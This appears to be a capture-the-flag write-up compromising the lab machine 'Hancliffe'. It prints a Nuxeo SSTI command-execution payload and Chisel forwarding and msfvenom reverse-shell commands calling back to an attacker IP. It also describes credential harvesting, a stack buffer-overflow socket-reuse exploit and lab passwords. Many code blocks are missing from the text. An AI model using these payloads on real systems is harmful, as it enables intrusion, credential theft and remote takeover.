Hancliffe
Enumeration
- There is an Nginx instance running on port 80 displaying the default Nginx welcome page.
- Port 8000 is serving a HashPass instance. This is a self-hosted password manager that generates passwords without storing them. It does so by requesting a name, website and a master password. There is no random seed in the hashing algorithm, thus the same inputs will yield the same password every time.
- Port 9999 identifies as "Brankas Application". The instance is available through netcat and accepts a username and a password.
- Ran FFuF in directory mode on the website hosted on port 80:\
$ ffuf -w ~/tools/wordlists/raft-medium-directories.txt -u http://10.10.11.115/FUZZ
- Discovered
/maintenance
. This actually redirects to/nuxeo/maintenance
:
- Discovered
- Running FFuF on the
/maintenance
subdirectory revealed several interesting hits: - Visiting
/maintenance/index
reveals a 404 page coming from Nuxeo. Nuxeo is written in Java, and the fact that the response also sets aJSESSIONID
cookie suggests this is a Tomcat server running behind an Nginx proxy.
Foothold
- This setup is vulnerable (Orange Tsai - Breaking Parser Logic) in which a request to something like
http://10.10.11.115/maintenance/..;/index.jsp
, which may be blocked by Nginx, gets passed to the Tomcat backend ashttp://10.10.11.115/index.jsp
. http://10.10.11.115/maintenance/..;/index.jsp
redirects to http://10.10.11.115/nuxeo/nxstartup.faces- This results in a 404, but the response
Set-Cookie: JSESSIONID=..
header also includes aPath=/nuxeo
- This results in a 404, but the response
http://10.10.11.115/maintenance/..;/login.jsp
returns a login page for Nuxeo.- There is a SSTI vulnerability in Nuxeo (CVE-2018-16341). The format for SSTI in Java is found at https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#java
- Retrieving
http://10.10.11.115/maintenance/..;/login.jsp/test$%7B7*7%7D.xhtml
returned the errorERROR: facelet not found at '/login.jsp/test49.xhtml'
, confirming SSTI. - Attempts with more advanced SSTI payloads to get LFI resulted in error 500, but there are other SSTI payloads for EL (Expression Language) that work with Java: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el
- Injected the following payload:
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
\ URL encoded this becomes:http://10.10.11.115/maintenance/..;/login.jsp/test%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%73%28%29%5b%36%5d%2e%69%6e%76%6f%6b%65%28%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%7d.xhtml
- This results in an error (
ERROR: facelet not found at '/login.jsp/testjava.lang.ProcessImpl@39fdc436.xhtml'
), but replacingwhoami
withping
and monitoring for ICMP requests confirms RCE: - Uploaded ConPtyShell to the host:
- Stood up a Python HTTP server and a netcat listener
- Encoded the payload in 16 byte base64 (the
iconv -t utf16le
is essential to getting PowerShell to decode the base64): - Inserted the encoded payload into the exploit above:
- URL encoded and submitted as the following URL:
- Got a reverse shell as
hancliffe\svc_account
Privilege Escalation (user)
svc_account
doesn't have any privileges of interest:- Enumerated the listening network connections on the box to discover any local services:
RemoteServerWin
belongs to Unified Remote, a remote control application for Windows. Version 3.9.0.2463 is vulnerable to RCE for which a Metasploit module is available (https://www.exploit-db.com/exploits/49587).- The Unified Remote services on the host are blocked from external connections by a firewall. To get around this, ports 9510 and 9512 need to be forwarded to the attack box.
- Used Chisel to set up the port forwarding:
- Uploaded a standalone version of Chisel to the host
- Stood up a Chisel server on the attack box:\
$ ./chisel server -p 9090 --reverse
- Stood up a Chisel client on the host for forwarding the required ports:\
PS> .\chisel.exe client 10.10.16.7:9090 R:9512:127.0.0.1:9512 R:9510:127.0.0.1:9510
- Loaded the
windows/misc/unified_remote_rce
module in Metasploit:\RHOST: 127.0.0.1
LHOST: 10.10.16.7
LPORT: 9002
SRVPORT: 9000
- Executed the module and got a shell as
hancliffe\clara
. Collected the user flag.
Privilege Escalation (Administrator)
- Uploaded LaZagne to look for stored passwords on the system
- Found a password stored in Firefox:
- The URL for the password is the password manager discovered above
-
development
is the only account besides Administrator that hasn't been checked yet. Retrieved the password for it through the password manager with the following settings:- Full Name:
development
- Website:
hancliffe.htb
- Master Password:
#@H@ncLiff3D3velopm3ntM@st3rK3y*!
- Full Name:
-
Got the password
AMl.q2DHp?2.C/V0kNFU
- In order to log in to the box as
development
using Evil-WinRM, the RM ports (5985 and 5986) on the host need to be forwarded using Chisel. With the server still running as above, started a new client as follows:\PS> .\chisel.exe client 10.10.16.7:9090 R:5985:127.0.0.1:59 85 R:5986:127.0.0.1:5986
- Logged in with Evil-WinRM as
development
- As
development
,C:\DevApp
becomes accessible. The directory contains a simple PowerShell script to restart the main program,MyFirstApp.exe
. This is a Win32 executable which requires disassembly. - Downloaded
MyFirstApp.exe
using thedownload
command in Evil-WinRM and loaded it in Ghidra. - Found the banner message (Welcome Brankas Application) for the custom service running on port 9999 using string search. Followed the reference to the string to find the function responsible for handling input/output:
- Followed the code to the
login()
function: - The function accepts a username and password, then passes the password input trough two encryption functions,
encrypt1
andencrypt2
. The output is then compared againstYXlYeDtsbD98eDtsWms5SyU=
. If there is a match, the login succeeds. - Followed
encrypt1
: - The main logic here is the
for
loop that loops over the input, and adding0x2f
(47) to everything. The rest of the loop handles rollover and bad characters. In essence, this is therefore a ROT47 encoding. - Analyzed
encrypt2
: - Again, a
for
loop loops over the string, excluding any symbols beforeA
and afterz
. Finally it converts all uppercase letters to lowercase. - The line
_input[i] = 'z' - (c + 0x9f);
is the actual encryption. This line takes the value of the characterz
and subtracts the sum of the numerical value of the current character and0x9f
(159). Since the0x9f
is actually represented as two's complement and has the negative bit set (0b10011111
), the real value is -97 (flip all the bits and add 1). All in all, takingb
as an example, the result becomes'z' - ('b' - 97) = 122 - (98 - 97) = 121 (y)
. Continuing through the alphabet,c
becomesx
,d
becomesw
and so on, essentially inverting the string that's entered. This is a cipher called Atbash. - Reversed the steps in the
login()
function to find the password fromYXlYeDtsbD98eDtsWms5SyU=
:- Reversed the base64 encoding =>
ayXx;ll?|x;lZk9K%
- Reversed the Atbash encryption =>
zbCc;oo?|c;oAp9P%
- Reversed the ROT47 encryption =>
K3r4j@@nM4j@pAh!T
- Reversed the base64 encoding =>
- Logged in to the service on port 9999 (the full name and code were found as clear text in the main function):
- Although the program responds with
Unlocked
, it doesn't actually do anything. - Going back the disassembly, right after the program asks for the code, it calls
SaveCreds()
to store the credentials: SaveCreds()
is simply two calls tostrcpy()
:- The problem here is
strcpy()
is an unsafe function that doesn't check for bounds.SaveCreds()
only allocates a buffer of 50 bytes and doesn't do any bounds checking. This makes the function vulnerable to a buffer overflow. - Downloaded the program to a Windows VM with x32dbg installed in order to test the buffer overflow.
- Created a test pattern using Metasploit:
- Started the debugger and entered the above pattern when prompted for the code
- The program crashed with
EIP
set to0x41326341
. Usedmsf-pattern_offset
to find the offset location in the pattern: - Created a new code string of 66 A's, four B's and some C's:
- Upon crashing,
EIP
is set to0x42424242
(all B's). The contents of the memory (right clickESP
-> Follow in Dump) reveal that following the 66 bytes worth of A's and four bytes of B's, there are only ten C's. Ten bytes is too small for any shellcode to fit, but it's enough to place a jump instruction to go back to the start of the A's. - The solution is to employ a socket reuse technique and placing the exploit in a dedicated Python script (
exploit.py
). - The initial payload consists of 66 bytes worth of A's, then a
jmp $ESP
and finally a jump 70 bytes back so that execution resumes at the start of the A's (thejmp $ESP
instruction is four bytes, so jumping 66 + 4 bytes back puts execution at the start of the A's).- Due to ASLR, knowing the location of
ESP
in memory is impossible in advance. ForJMP $ESP
instruction to work, a ROP gadget has to be used. This is the address of aJMP $ESP
instruction from somwhere in the program that will act as if it was an actual instruction after the string of A's.
- Due to ASLR, knowing the location of
- Finally, by replacing the A's in the padding with
\xCC
(interrupt), the program can be halted right when execution contiues at$ESP - 70
. - The payload then becomes:
- Testing on the Windows box with DEP disabled gives the expected jump back to
$ESP - 70
. In the memory dump,EIP
points to the beginning of the padding in the pattern. - The next step is to do the actual socket reuse. 66 bytes is still to little to fit a minimal 300 bytes of shellcode, so the idea is to gain more room for the shellcode by calling
recv()
to read more data from the socket (in practice, read the contents ofFullName
). - The
recv()
call can be found in the same way asJMP $ESP
above. There are multiple calls torecv()
in the program, but the one of interest is the one that's used to receiveFullName
Setting a breakpoint on the actualcall eax
instruction reveals the stack layout in x32dbg: - The signature for the call is as follows:
- The socket handle (
[esp]
) is needed. After the jump back to$ESP - 70
, the address of the handle can be found in the stack dump at a distance of0x48
(72) bytes. - To carry out the socket reuse,
EAX
needs to be popped off the stack, its address incremented by0x48
and then it needs to be pushed back onto the stack. When the call is ready, acall eax
instruction will call therecv()
instruction at$EAX
. - In Assembly, this becomes:
- The issue is the null byte on line 3. Circumvented the issue by adding
0x150
, then subtracting0x108
: - At the moment,
ESP
is still at the end of the\xCC
padding bytes. To avoid running into an issue when allocating 400 bytes for the recieve whereESP
grows and overwritesEIP
, more space needs to be allocated. This can either be done by movingESP
further down, or move it past the current location ofEIP
. MovingESP
100 bytes, 53 bytes pastEIP
: - The final stage is to push the arguements to
recv()
onto the stack in the correct order. First are the arguments. These are set to zero, but pushing a zero isn't possible. Using anxor ebx, ebx
instruction instead: - The next argument is the buffer size. Again, pushing
0x400
isn't possible due to a null byte, but a size of0x404
works:- The last instruction is for pushing the current value of
ESP
onto the stack.
- The last instruction is for pushing the current value of
- Next,
0x64
(100) bytes are added toEBX
and pushed onto the stack. This will be the location for therecv()
output buffer: - Finally, the last item needed is the address of the
recv()
function in memory. This address can be found from Ghidra by searching forrecv
. Since this is an external function, the only reference to it in Ghidra is a pointer to an external function: - From the above, the address is
0x719082ac
. Set up the function call: - This can all be combined by using
pwnlib
in a Python script. The exploit is weaponized by creating a reverse shell payload withmsvenom
:$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.7 LPORT=9003 EXITFUNC=thread -f py -b '\x00'
- Added the shellcode output as a new line to send afer the code:
- Stood up a netcat listener and executed the exploit. Got a call back as
hancliffe/Administrator
and the root flag.